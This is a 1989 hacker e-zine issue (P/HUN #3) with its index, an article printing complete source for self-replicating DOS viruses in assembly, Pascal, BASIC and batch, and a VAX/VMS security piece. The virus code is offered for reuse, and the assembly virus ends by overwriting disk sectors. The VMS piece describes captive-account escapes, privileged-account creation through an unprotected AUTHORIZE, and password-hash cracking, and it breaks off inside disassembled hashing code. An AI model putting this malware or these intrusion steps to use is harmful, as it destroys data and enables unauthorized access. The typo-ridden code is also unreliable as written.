()---------------------------------------------------------------------------() * = % = % = % = % = % = * ----= =---- -------% P H U N ]I[ %------- ----= =---- * = % = % = % = % = % = * P/HUN Issue #3, Volume 2 Articles [10] + Introduction Release : February 11th 1989 Comments: New - Vol 2 ==P/HUN Magazine Inc.== @ The Hacker's Den Bulletin Board System [ Home of P/HUN Online Magazine & 2600 Magazine BBS #5 ] (718)358/9209 :: 300/1200 Baud :: Open 24 Hrs Proudly presents... P/HUN Issue III --------------- P/HUN Issue 3, Volume 2: Phile 1 of 11 Introduction & Index -------------------- Welcome to P/HUN (fun) Issue III. A new volume for the New Year. We still remember some people often ridiculed and thought that P/HUN Newsletter would stop producing after the first or the second issue. Looks like that fraction underestimated us severly. I would also like to say this, P/HUN was started with one highly noble thought in mind i.e. to spread knowledge that we individually or collectively acquire through various resources. The intent has and will never be to degrade other highly esteemed newsletters or compete with them in anyway. The idea is to co-exist symbiotically for the good of the readers, in mutual respect and assistance of each other. We at P/HUN Inc. are very pleased that people enjoyed our last issue. We received many calls from all over the U.S commenting about Mr. Slippery's "Guide to PICK Operating System" and The Mentor's "Beginners Hacking Guide". We at P/HUN Inc. would like to thank both of them for their great contributions and hope hear more from them in future. We are still looking for someone experienced enough to write various news and happenings that occur in the Phreak/Hack community. I thank all that applied, but we really didn't find anyone properly qualified. A lot of hard work and effort has gone into making this issue possible. Yes the size of this issue is record breaking. We hope you find it intresting. If you have any comments, suggestion or would like to submit to our ever growing newsletter, contact us at The Hacker's Den. If we find your article intresting we will gladly publish it. Remember to only send us "original" & "unreleased" stuff. There will be no exceptions. Although this issue contains an article by Capt. Zap which has already been released. This file was a major exeception due to the fact that we found it very intresting. P/HUN Issues can be obtained from one of the sponsor boards listed below: The Phoenix Project - 512-441/3088 [Official Phrack & LOD/H TJ! release point] The Central Office - 914-234/3260 [2600 Bulletin Board System #2] Here it is P/HUN Online Magazine Issue #3...Enjoy! Red Knight & DareDevil SysOps of The Hacker's Den @ P/HUN Magazine Inc. / TSAN 89! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= *-------------------* -=| Table of Contents |=- *-------------------* No. Phile Description Author Size --- ---------------------------------------- ------ ---- #1 - Introduction & Table of Contents Red Knight 3K #2 - Viruses: Assembly, Pascal, Basic & Batch Tesla Coil ][ 24K #3 - VAX/VMS System Security Lawrence Xavier 18K #4 - AUtomated VOice Network(AUTOVON): An Outline DareDevil 26K #5 - The Pan Am Airline Computer Part "A" Red Knight 47K #6 - The Pan Am Airline Computer Part "B" Red Knight 26K #7 - Common Channel (I) Signalling:An overview Tubular Phreak 18K #8 - Who's Listening * Capt. Zap 58K #9 - An Introduction to BITNET Aristotle 10K #10 - Plastic Card Encoding Practices & Standards Hasan Ali 6K #11 - Lockpicking: An Indepth Guide The LockSmith 14K =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #2 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Viruses: Assembly, Pascal, Basic & Batch ---------------------------------------- By Tesla Coil ][ [ I do not take any responsibility for any damages that may occur when ] [ compiling viruses in this article. This article has been written to ] [ promote knowledge into the amazing world of computer viruses. ] Viruses can be written in practically every computer language known today. Although most effective viruses have been written in Assembly. Many of us think that viruses cannot be written in Basic due to its limited ability. This is untrue. Basic has the capability of producing very effective viruses if properly used. Combining assembly and basic could futher enhance the effectiveness of the virus. In this article we will examine some viruses written in Assembly, Pascal, Basic and Batch written by B. Fix, R. Burger and M. Vallen which proved to be very intresting to me. Please use some caution handling these virus programs. Please use a separate disks when you wish to compile. Virus in Assembly Language -------------------------- Most viruses out there have been written in assembly because assembly has the unique ability to bypass operating system security. Here is an example of a virus written under MS-DOS 2.1 and can obviously be compiled in the later versions. The article contains remarks so as to further explain the parts. Programmers may wish to delete those segments if desired. *************************************************** ; Program Virus ; Version 1.1 ; Writter : R. Burger ; Created 1986 ; This is a demonstration program for computer ; viruses. It has the ability to replace itself. ; and thereby modify other programs. Enjoy. ;************************************************** Code Segment Assume CS:Code progr equ 100h ORG progr ;************************************************** ; The three NOP's serve as the marker byte of the ; virus which allow it to identify a virus. ;************************************************** MAIN: nop nop nop ;************************************************** ; Initialize the pointers ;************************************************** mov ax,00 mov es:[pointer],ax mov es:[counter],ax mov es:[disks],al ;************************************************** ; Get the selected drive ;************************************************** mov ah,19h ;drive? int 21h ;************************************************** ; Get the current path on the current drive ;************************************************** mov cs:drive,al ;save drive mov ah,47h ;dir? mov dh,0 add al,1 mov dl,al ;in actual drive lea si,cs:old_path ; int 21h ;************************************************** ; Get the number of drives present. If only one ; is present, the pointer for the search order ; will be set to serach order + 6 ;************************************************** mov as,0eh ;how many disks mov dl,0 ; int 21h mov al,01 cmp al,01 ;one drive jnz hups3 mov al,06 hups3: mov ah,0 lea bx,search_order add bx,ax add bx,0001h mov cs:pointer,bx clc ;************************************************** ; Carry is set, if no more .COM's are found. ; Then, to avoid unnecessary work, .EXE files will ; be renamed to .COM files and infected. ; This causes the error message "Program to large ; to fit memory" when starting larger infected ; EXE programs. ;************************************************* change_disk: jnc no_name_change mov ah,17h ;change .EXE to .COM lea dx,cs:maske_exe int 21h cmp al,0ffh jnz no_name_change ;.EXE found? ;**************************************************** ; If neither .COM nor .EXE is found then sectors ; will be overwritten depending on the system time ; in milliseconds. This is the time of the complete ; "infection" of a storage medium. The virus can ; find nothing more to infect and starts its destruction ;***************************************************** mov ah,2ch ; read system clock int 21h mov bx,cs:pointer mov al,cs:[bx] mov bx,dx mov cx,2 mov dh,0 int 26h ; write crap on disk ;****************************************************** ; Check if the end of the search order table has been ; reached . If so, end. ;****************************************************** no_name_change: mov bx,cs:pointer dec bx mov cs:pointer,bx mov dl,cs:[bx] cmp dl,0ffh jnz hups2 jmp hops ;**************************************************** ; Get new drive from the search order table and ; select it . ;*************************************************** hups2: mov ah,0eh int 21h ;change disk ;*************************************************** ; Start in the root directory ;*************************************************** mov ah,3bh ;change path lea dx,path int 21h jmp find_first_file ;************************************************** ; Starting from the root, search for the first ; subdir. FIrst convert all .EXE files to .COM ; in the old directory ;************************************************** find_first_subdir: mov ah,17h ;change .exe to .com lea dx,cs:maske_exe int 21h mov ah,3bh ;use root directory lea dx,path int 21h mov ah,04eh ;search for first subdirectory mov cx,00010001b ;dir mask lea dx,maske_dir ; int 21h ; jc change_disk mov bx,CS:counter INC,BX DEC bx jz use_next_subdir ;************************************************* ; Search for the next subdirectory. If no more ; directories are found, the drive will be changed. ;************************************************* find_next_subdir: mov ah,4fh ; search for next subdir int 21h jc change_disk dec bx jnz find_next_subdir ;************************************************* ; Select found directory. ************************************************** use_next_subdir: mov ah,2fh ;get dta address int 21h add bx,1ch mov es:[bx],'X ;address of name in dta inc bx push ds mov ax,es mov ds,ax mov dx,bx mov ah,3bh ;change path int 21h pop ds mov bx,cs:counter inc bx mov CS:counter,bx ;************************************************** ; Find first .COM file in the current directory. ; If there are none, search the next directory. ;************************************************** find_first_file: mov ah,04eh ;Search for first mov cx,00000001b ;mask lea dx,maske_com ; int 21h ; jc find_first_subdir jmp check_if_ill ;************************************************** ; If program is ill(infected) then search for ; another other. ;************************************************** find_next_file: mov ah,4fh ;search for next int 21h jc find_first_subdir ;************************************************* ; Check is already infected by virus. ************************************************** check_if_ill: mov ah,3dh ;open channel mov al,02h ;read/write mov dx,9eh ;address of name in dta int 21 mov bx,ax ;save channel mov ah,3fh ; read file mov ch,buflen ; mov dx,buffer ;write in buffer int 21h mov ah,3eh ;close file int 21h ;*************************************************** ; This routine will search the three NOP's(no ; operation).If present there is already an infection. ; We must then continue the search ;**************************************************** mov bx,cs:[buffer] cmp bx,9090h jz find_next_file ;*************************************************** ; This routine will BY PASS MS-DOS WRITE PROTECTION ; if present. Very important ! ;*************************************************** mov ah,43h ;write enable mov al,0 mov dx,9eh ;address of name in dta int 21h mov ah,43h mov al,01h and cx,11111110b int 21h ;**************************************************** ; Open file for read/write access. ***************************************************** mov ah,3dh ;open channel mov al,02h ;read/write mov dx,9eh ;address of name in dta int 21h ;**************************************************** ; Read date entry of program and save for future ; use. ;**************************************************** mov bx,ax ;channel mov ah,57h ;get date mov al.0 int 21h push cx ;save date push dx ;**************************************************** ; The jump located at address 0100h of the program ; will be saved for further use. ***************************************************** mov dx,cs:[conta] ;save old jmp mov cs:[jmpbuf],dx mov dx,cs:[buffer+1] ;save new jump lea cx,cont-100h sub dx,cx mov cs:[conta],dx ;***************************************************** ; The virus copies itself to the start of the file. ;***************************************************** mov ah,57h ;write date mov al,1 pop dx pop cx ;restore date int 21h ;***************************************************** ; Close the file. ;***************************************************** mov ah,3eh ;close file int 21h ;***************************************************** ; Restore the old jump address. The virus saves at ; address "conta" the jump which was at the start of ; the host program. ; This is done to preserve the executability of the ; host program as much as possible. ; After saving it still works with the jump address ; contained in the virus. The jump address in the ; virus differs from the jump address in memory. ;**************************************************** mov dx,cs:[jmpbuf] ;restore old jump mov cs:[conta],dx hops: nop call use_old ;**************************************************** ; Continue with the host program. ;**************************************************** cont db 0e9h ;make jump conta dw 0 mov ah,00 int 21h ;*************************************************** ; Reactivate the selected drive at the start of ; the program. ;*************************************************** use_old: mov ah,0eh ;use old drive mov dl,cs:drive int 21h ;*************************************************** ; Reactivate the selected path at the start of ; the program. ;*************************************************** mov ah,3bh ;use old drive lea dx,old_path-1 ;get old path and backslash int 21h ret search_order db 0ffh,1,0,2,3,0ffh,00,offh pointer dw 0000 ;pointer f. search order counter dw 0000 ;counter f. nth. search disks db 0 ;number of disks maske_com db "*.com",00 ;search for com files maske_dir db "*",00 ;search for dir's maske_exe db offh,0,0,0,0,0,00111111b db 0,"????????exe",0,0,0,0 db 0,"????????com",0 maske_all db offh,0,0,0,0,0,00111111b db 0,"???????????",0,0,0,0 db 0,"????????com",0 buffer equ 0e00h ;a safe place buflen equ 230h ;lenght of virus!!!! ;carefull ;if changing!!!! jmpbuf equ buffer+buflen ;a safe place for jmp path db "X",0 ;first place drive db 0 ;actual drive back_slash db "X" old_path db 32 dup (?) ;old path code ends end main [ END OF THIS VIRUS PROGRAM ] Virus in Pascal --------------- Pascal is another high level language that can produce eye popping computer viruses. Especially when the usage of Turbo Pascal is involved. The virus below was available through various bulletin boards for a while. $ ------------------------------------------------------------------ Number One Please handle this virus with care!!!!!!!!!!! [Deadly Demo] Number One infects all .COM - file's name will be displayed That file has been overwritten with Number Ones's program code and is not reconstructible! If all files are infected or or no .COM files are found, Number one gives you a . Files may be protected against infections of Number One by setting the Read ONLY attribute. Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) ------------------------------------------------------   $C- $U- $I- $ Wont allow a user break, enable IO check $ -- Constants ---------------------------------------  Const VirusSize = 12027; $Number One's code size Warning :String[42] $Warning message = 'This file has been infected ny Number One!'; $ -- Type declarations-------------------------------------  Type DTARec =Record $Data area for file search  DOSnext :Array[1..21] of Byte; Attr : Byte; Ftime, FDate, FLsize, FHsize : Integer; FullName: Array[1..13] of Char; End; Registers = Record $Register set used for file search  Case Byte of 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); 2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); End; $ -- Variables---------------------------------------------  Var $ Memory offset program code  ProgramStart : Byte absolute Cseg:$100; $ Infected marker  MarkInfected : String[42] absolute Cseg:$180; Reg : Registers; $ Register set  DTA : DTARec; $ Data area  Buffer : Array[Byte] of Byte; $ Data buffer  TestID : String[42]; $ To recognize infected files  UsePath : String[66]; $ Path to search files  $ Lenght of search path  UsePathLenght: Byte absolute UsePath; Go : File; $ File to infect  B : Byte; $ Used  $ -- Program code------------------------------------------  Begin WriteLn(Warning); $ Display warning message  GetDir(0, UsePath); $ get current directory  if Pos('X', UsePath) <> UsePathLenght then UsePath := UsePath + 'X'; UsePath := UsePath + '*.COM'; $ Define search mask  Reg.AH := $1A; $ Set data area  Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); UsePath[Succ(UsePathLenght)]:=#0; $ Path must end with #0  Reg.AH := $4E; Reg.DS := Seg(UsePath); Reg.DX := Ofs(UsePath[1]); Reg CX := $ff; $ Set attribute to find ALL files  MsDos(Reg); $ Find first matching entry  IF not Odd(Reg.Flags) Then $ If a file found then  Repeat UsePath := DTA.FullName; B := Pos(#0, UsePath); If B > 0 then Delete(UsePath, B, 255); $ Remove garbage  Assign(Go, UsePath); Reset(Go); If IOresult = 0 Then $ If not IO error then  Begin BlockRead(Go, Buffer, 2); Move(Buffer[$80], TestID, 43); $ Test if file already ill(Infected)  If TestID <> Warning Then $ If not then ...  Begin Seek (Go, 0); $ Mark file as infected and ..  MarkInfected := Warning; $ Infect it  BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7); Halt; $.. and halt the program  End; Close(Go); End; $ The file has already been infected, search next.  Reg.AH := $4F; Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); $ ......................Until no more files are found  Until Odd(Red.Flags); Write('); $Give a smile  End. Although this is a primitive virus its effective.In this virus only the .COM files are infected. Its about 12K and it will change the date entry. Viruses in Basic ---------------- Basic is great language and often people think of it as a limited language and will not be of any use in creating something like a virus. Well you are really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987. This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE files.To do this you must compile the source code using a the Microsoft Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit the source code to place the lenght of the object program in the LENGHTVIR variable. BV3.EXE should be in the current directory, COMMAND.COM must be available, the LENGHTVIR variable must be set to the lenght of the linked program and remember to use /e parameter when compiling. 10 REM ** DEMO 20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED ** 30 REM ** BASIC DOESNT SUCK 40 REM ** NO KIDDING 50 ON ERROR GOTO 670 60 REM *** LENGHTVIR MUST BE SET ** 70 REM *** TO THE LENGHT TO THE ** 80 REM *** LINKED PROGRAM *** 90 LENGHTVIR=2641 100 VIRROOT$="BV3.EXE" 110 REM *** WRITE THE DIRECTORY IN THE FILE "INH" 130 SHELL "DIR *.EXE>INH" 140 REM ** OPEN "INH" FILE AND READ NAMES ** 150 OPEN "R",1,"INH",32000 160 GET #1,1 170 LINE INPUT#1,ORIGINAL$ 180 LINE INPUT#1,ORIGINAL$ 190 LINE INPUT#1,ORIGINAL$ 200 LINE INPUT#1,ORIGINAL$ 210 ON ERROR GOT 670 220 CLOSE#2 230 F=1:LINE INPUT#1,ORIGINAL$ 240 REM ** "%" IS THE MARKER OF THE BV3 250 REM ** "%" IN THE NAME MEANS 260 REM ** INFECTED COPY PRESENT 270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210 280 ORIGINAL$=MID$(ORIGINAL$,1,13) 290 EXTENSIONS$=MID$(ORIGINAL,9,13) 300 MID$(EXTENSIONS$,1,1)="." 310 REM *** CONCATENATE NAMES INTO FILENAMES ** 320 F=F+1 330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN GOTO 350 340 GOTO 320 350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$ 360 ON ERROR GOTO 210 365 TEST$="" 370 REM ++ OPEN FILE FOUND +++ 380 OPEN "R",2,OROGINAL$,LENGHTVIR 390 IF LOF(2) < LENGHTVIR THEN GOTO 420 400 GET #2,2 410 LINE INPUT#1,TEST$ 420 CLOSE#2 431 REM ++ CHECK IF PROGRAM IS ILL ++ 440 REM ++ "%" AT THE END OF THE FILE MEANS.. 450 REM ++ FILE IS ALREADY SICK ++ 460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210 470 CLOSE#1 480 ORIGINALS$=ORIGINAL$ 490 MID$(ORIGINALS$,1,1)="%" 499 REM ++++ SANE "HEALTHY" PROGRAM ++++ 510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$ 520 SHELL C$ 530 REM *** COPY VIRUS TO HEALTHY PROGRAM **** 540 C$="COPY "+VIRROOT$+ORIGINAL$ 550 SHELL C$ 560 REM *** APPEND VIRUS MARKER *** 570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13 580 WRITE#1,ORIGINALS$ 590 CLOSE#1 630 REM ++ OUYPUT MESSAGE ++ 640 PRINT "INFECTION IN " ;ORIGIANAL$; " !! BE WARE !!" 650 SYSTEM 660 REM ** VIRUS ERROR MESSAGE 670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM 680 END This basic virus will only attack .EXE files. After the execution you will see a "INH" file which contains the directory, and the file %SORT.EXE. Programs which start with "%" are NOT infected ,they pose as back up copies. Batch Viruses ------------- Whoever thought that viruses could be in BATCH file.This virus which we are about to see makes use of MS-DOS operating system. This BATCH virus uses DEBUG & EDLIN programs. Name: VR.BAT echo = off ( Self explanatory) ctty nul ( This is important. Console output is turned off) path c:Xmsdos ( May differ on other systems ) dir *.com/w>ind ( The directory is written on "ind" ONLY name entries) edlin ind<1 ( "Ind" is processed with EDLIN so only file names appear) debug ind<2 ( New batch program is created with debug) edlin name.bat<3 ( This batch goes to an executable form because of EDLIN) ctty con ( Console interface is again assigned) name ( Newly created NAME.BAT is called. In addition to file to this Batch file,there command files,here named 1,2,3 Here is the first command file: ------------------------------- Name: 1 1,4d ( Here line 1-4 of the "IND" file are deleted ) e ( Save file ) Here is the second command file: -------------------------------- Name: 2 m100,10b,f000 (First program name is moved to the F000H address to save) e108 ".BAT" (Extention of file name is changed to .BAT) m100,10b,f010 (File is saved again) e100"DEL " (DEL command is written to address 100H) mf000,f00b,104 (Original file is written after this command) e10c 2e (Period is placed in from of extension) e110 0d,0a (Carrige return+ line feed) mf010,f020,11f ( Modified file is moved to 11FH address from buffer area) e112 "COPY XVR.BAT" ( COPY command is now placed in front of file) e12b od,0a (COPY command terminated with carriage return + lf) rxc ( The CX register is ... ) 2c ( set to 2CH) nname.bat ( Name it NAME.BAT) w ( Write ) q ( quit ) The third command file must be printed as a hex dump because it contains 2 control characters (1Ah=Control Z) and this is not entirely printable. Hex dump of the third command file: ----------------------------------- Name: 3 0100 31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79 1 , 1 ? . . n y y y y y y y 0110 79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79 y . 2 , ? ? r . . n n y y y 0120 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00 y y y y . E . . . . . . . . . In order for this virus to work VR.BAT should be in the root. This program only affects .COM files. End Note -------- All these viruses can be modified to suit your needs. If anyone has seen any intresting viruses please contact me at The Hacker's Den BBS. Suggested readings: Computer Viruses: A high Tech Disease by Abacus 2600 Magazine: Volume 5, Number 2 -TC][- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #3 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= VAX/VMS System Security ======================= Written for P/HUN Inc.,P/HUN Online Magazine -------------------------------------------- By Lawrence Xavier January, 1989 VAX/VMS may be the worlds best operating system. It certainly beats the pants off each and every IBM OS, and wins over Unix hands down. Native VAX/VMS security is rated higher (by the U.S. Government) than all IBM mainframe OSs, even after such security packages as RACF and Top Secret are added to them. VMS is not without its foibles and kludges, however. For one thing, enabling all the security features of VMS is guaranteed to crash the system! For another, many of VMS's security features are annoying to set up, encouraging lazy system managers to put off doing so indefinitely. VMS got a bad reputation when young hackers were able to routinely break into many systems by using default accounts and passwords such as username SYSTEM with password MANAGER. This has all changed with VMS 4.7: in the upgrade procedure the installer is required to change passwords on these accounts or eliminate them entirely. Let's go over some of the basic features of VMS security, then look at some common problems and loopholes. Once you know what the loopholes are you can take steps to close them on systems you manage and increase security. VMS Security Features ===================== Logging In: ----------- VAX/VMS systems have several types of protection that can be set up on logins. Logins can be restricted by time of day, day of the week, and by terminal ID. Logins can also be restricted by where they come from: Local, Remote, Dialup, etc. Local are logins on direct connect ports or DECservers. Remote are logins across DECnet. Dialup are logins across X.25 or on ports set with the DIALUP characteristic. Usually VMS will present a Username: prompt after it sees one or two characters (which are used by VMS to set the Baud rate, if AutoBaud is enabled). If a System Password has been set on the port, VMS will BEEP after the first , and will then seem to be dead. Only after the correct System Password has been entered will the Username: prompt be given. VMS gives no indication of whether a correct username has been entered: it always asks for a Password:. VMS passwords can be like any other passwords, or they may be generated nonsense words. The /GENERATE_PASSWORD qualifier may be placed on user accounts by the system manager, forcing them to select from lists of supposedly easy to remember but nonsensical passwords. The system manager may also enforce a minimum password length and can even impose dual passwords on accounts. If a Username with dual passwords is entered, the system will prompt for Password: twice in a row. Automatic Password expiration dates can be set, forcing users to change their passwords every so often: from once a day to once a year or never. After the Username and Password have been entered, the system will either log the user in, or will print the familiar message, User Authorization Failure and will hang up after a settable number of failures (the default is 3) if the port characteristics include DIALUP and HANGUP. Breakin Detection: ----------------- If a hacker were trying to get into the system he could just continue to dialup and try again. But VMS has some features to discourage this too. If breakin detection and evasion is enabled, VMS will start to get cagey. If the count of login failures from a specific source gets high enough, the system assumes a break-in is in progress. Only login failures caused by invalid Passwords are counted, NOT invalid usernames. And the attempts must be coming from one of these three sources: . A specific valid Username, and (if setup this way, A specific terminal. . A specific remote DECnet node and remote Username. . The Username of the creator of a detached process. By default, VMS allows five failed login attempts from any one source within the time period specified. But it's not as simple as that! Each time a failure occurs, time is added to the time period in which a certain number of failures can occur. To take an example from DEC: Assume the default values are in effect. LGI_BRK_LIM specifies no more than five login failures from one source. LGI_BRK_TMO is set for five minutes. Assume that an outsider starts sending user names and passwords to the system. When the first password fails, the clock starts to run and the user has four more tries in the next five minutes. When the second attempt fails about 30 seconds later, the user has three tries left that will be counted over the next 9.5 minutes. When the third attempt fails 30 seconds later, the login failure observation time has reached 22.5 minutes. As a result, the next login failure from that source within 22.4 minutes will trigger evasive action. The system tolerates an average rate of login failures that is the reciprocal of the parameter LGI_BRK_TMO... When breakin evasion is triggered, the system will give a: User Authorization Failure message even when a valid Username and Password are entered, giving no indication of what it is doing. Note that ONLY the Username(s) in question are treated this way: other Usernames can still log in from the same terminal even if terminal-specific breakin detection is enabled. The length of time VMS will hide in this way is controlled by the sysgen parameter LGI_HID_TIM. But VMS doesn't hide for exactly this time. Rather, it will hide for a length of time determined by the following equation: Evasion time = LGI_HID_TIM * (random number between 1 and 1.5) The parameter LGI_BRK_DISUSER can be set, and will tell VMS to permanently disable accounts rather than just hiding for a time. The system manager then has to re-enable them manually. This is a dangerous parameter to set, however, because malicious individuals could deliberately disable accounts then! If the SYSTEM account is disabled this way, it will only be allowed to login on the VAX system console. Security Alarms: ---------------- Although breakin attempts to different Usernames don't activate VMS Breakin detection, they can trigger Security Alarms. Security Alarms can also be triggered by different types of access to specific files or memory areas. Security Alarms cause messages to be displayed on the system console, on the terminals of any user enabled as Security Operator, and in the Operator Log file. As DEC says, Because security auditing affects system performance, enable security alarms only for the most important events. Damn right! If all security alarms are enabled the system will hang! It starts writing alarms about the fact it is writing alarms, ad infinitum.... Security alarms can be triggered on multiple login failures, on breakin, on successful login from given ports, on failed attempts to access files, on successful attempts to access files, etc. So even if you get privilege to override protection or to defeat it a security alarm may still be triggered. Security alarms typically might be enabled on the AUTHORIZE program, which adds and modifies user accounts, on SYSUAF.DAT, the authorization database, on RIGHTSLIST.DAT, the access rights database, etc. and on critical database files. But many sites don't bother with them because of their inconvenience. Accounting: ---------- Besides Security Alarms, Accounting can be enabled. Accounting can show successful logins, login failures, how much resources are consumed by processes, what programs are executed, etc. Not all sites enable accounting, and not all sites enable the same amount of it. Accounting records show login failures but only show the username that attempted to login if it is a valid username. File and Device Protection: ========================== UIC: ---- The primary access protection mechanism is the UIC. This consists of a Group and a User code, numerically represented as [nnn,nnn]. It is an Octal number. Since VMS 4.x versions the UIC can also be expressed as [name] or [name,name], but internally this is translated back to the old format. Users, processes, files, devices, memory sections, etc. all have UICs. Files, devices, memory sections, etc. can have access by System, Owner, Group and World, any combination of Read, Write, Execute, Delete for each category. System are the system accounts. Owner is the account(s) who's UIC is the same as that on the object (file, device, etc.). Group are accounts with the same first UIC number. World is everyone. So a process with UIC [23,7] could access an object with UIC [23,4] if that object allowed access by Group or World. The process could access an object with UIC [25,3] only if World access was allowed, and could access objects with UIC [23,7] if Owner, Group, or World was allowed. ACL: ---- Also, there's a protection mechanism called the ACL or Access Control List. This is in addition to, and can override UIC protection. With ACLs an Identifier is created, like MODEM for one or more modem ports. An ACL is created on the port(s) desired, and in the ACL are multiple Access Control Entries (ACEs). If one of them is: (Identifier=MODEM, Access=Read+Write) for example, user who has been Granted the identifier MODEM can access those ports. These access privileges, like UICs apply to processes in general. Granting and managing Identifiers is done in the AUTHORIZE program. Loopholes, Ways of Defeating Security... ======================================== Although VMS has great security it's often applied poorly. For one thing, protection is often not set up properly, programs are installed with too much privilege etc. (Programs can be installed so they have privilege when run even if the user running them has no privilege). Getting a $ prompt: ------------------- If a hacker logs into a VMS system and finds himself trapped within application programs the first thing he will want to do is to get out to the normal DCL command mode from where more things can be done. Hackers will try several things and you should check to make sure they can't try these tricks on your system. AllInOne: In AllInOne, DEC's popular Electronic Mail and menuing Office Automation system, typing $ (the dollar sign) will by default take the user to DCL level. Typing ADMIN will get the user into the AllInOne administrator menu. From there they can create accounts with $ access. AllInOne mail also has a feature where macros can be attached to mail and executed when the mail is read. If the hacker sends a message of this type to some user with privilege, the macro can go off in the background and create accounts, etc. for the hacker. This feature should be disabled. Other Captive Account tricks: Holding down and letting it repeat for a while will often cause accounts that are trapped in a command procedure but not marked as CAPTIVE in the UAF to exit from the command procedure to DCL. If an account has access to VAXMAIL (the MAIL command) it can often use MAIL's SPAWN command to spawn a process with DCL access. The TPU editor has a similar SPAWN command. If an account is not marked CAPTIVE the user can try to add /NOCOMMAND after the username, like the following: Username: fred/nocommand This will cause the command procedure to not be executed, leaving the hacker at a DCL $ prompt. There are many more too. For this reason you should mark all accounts that are supposed to be captive as CAPTIVE using the AUTHORIZE utility. When at the $ Prompt: --------------------- Since protection is often set incorrectly, hackers can take advantage and use this to bypass security. A couple of examples will serve to show that you must be diligent in setting the protections properly on systems you manage. If SYS$SYSTEM:AUTHORIZE.EXE is not protected, it can be run by non- privileged users. The hacker would then run AUTHORIZE and create a new SYSUAF.DAT file in his own directory (AUTHORIZE will do this by default if not run in the SYS$SYSTEM directory). The hacker would add a privileged username to the new SYSUAF.DAT, copy it back to SYS$SYSTEM:, log out, log in again as the new privileged user, and quickly delete the new SYSUAF.DAT so that other users don't get "Authorization Failure" messages. The hacker would then be able to add privileged accounts to SYSUAF.DAT at his leisure. Another clever idea would be for the hacker who has gained access to copy SYSUAF.DAT to another directory and then try to find out what passwords are in it. VMS uses a one-way encryption algorithm, but a gifted hacker will use the same algorithm to repeatedly encrypt different passwords until he finds ones that match. A copy of the VMS assembly language code to do this encryption can be found in the appendix, for your information. Again, setting the protection properly will keep this from happening to your system! Conclusion: =========== This has been a brief overview of VMS security. For more information, read your DEC manuals. A good place to start is the handy VMS System Manager's Manual, Order Number AA-LA00A-TE, which can be obtained from DEC Direct and should have come with your VMS update. The importance of proper security cannot be over emphasized, but if you overdo it performance will suffer. Experiment on your system to find a good balance. Don't ignore security or you may regret it rather intensely. Appendix -- VMS assembly code for encrypting passwords: ======================================================= .TITLE HPWD - hash user password .IDENT 'V02-002' ; Hash PassWorD: ; Hash a password irreversibly. This is one way encryption with ; no decryption possible. ; This code was obtained by disassembling the AUTHORIZE program. ; See the VMS microfiche for the fully commented code: ; e _lib$code:_lib$code+68 ; Input Parameters: ; PWDDSC - Address of password descriptor ; ENCRYPT - Encryption algorithm index (byte) ; SALT - Random number (word) ; USRDSC - Address of username descriptor ; Output Parameters: ; OUTDSC - Address of encrypted output descriptor OUTDSC=4 PWDDSC=OUTDSC+4 ENCRYPT=PWDDSC+4 SALT=ENCRYPT+4 USRDSC=SALT+4 .PSECT _LIB$CODE RD,NOWRT,PIC,SHR,BYTE,EXE ; AUTODIN-II polynomial table used by CRC algorithm AUTODIN: .LONG ^X000000000,^X01DB71064,^X03B6E20C8,^X026D930AC,^X076DC4190 .LONG ^X06B6B51F4,^X04DB26158,^X05005713C,^X0EDB88320,^X0F00F9344 .LONG ^X0D6D6A3E8,^X0CB61B38C,^X09B64C2B0,^X086D3D2D4,^X0A00AE278 .LONG ^X0BDBDF21C ; Purdy polynomial coefficients. Prime, but don't need to be Purdy_Poly: c: .LONG -83,-1 .LONG -179,-1 .LONG -257,-1 .LONG -323,-1 .LONG -363,-1 .ENTRY LGI$HPWD,^M MOVAQ @outdsc(AP),R4 MOVAQ @4(R4),R4 TSTB encrypt(AP) BGTRU 10$ MNEGL #1,R0 MOVAQ @pwddsc(AP),R1 CRC autodin,R0,(R1),@4(R1) CLRL R1 MOVQ R0,(R4) BRB 20$ 10$: CLRQ (R4) MOVAQ @pwddsc(AP),R3 BSBB COLLAPSE_R2 ADDW2 salt(AP),3(R4) MOVAQ @usrdsc(AP),R3 BSBB COLLAPSE_R2 PUSHAQ (R4) CALLS #1,PURDY 20$: MOVL #1,R0 RET COLLAPSE_R2: MOVZWL (R3),R0 BEQL 20$ MOVAL @4(R3),R2 PUSHR #^M MOVL R0,R1 5$: CMPB (R2)+,#32 BNEQ 7$ DECL R1 7$: SOBGTR R0,5$ MOVL R1,R0 POPR #^M 10$: BICL3 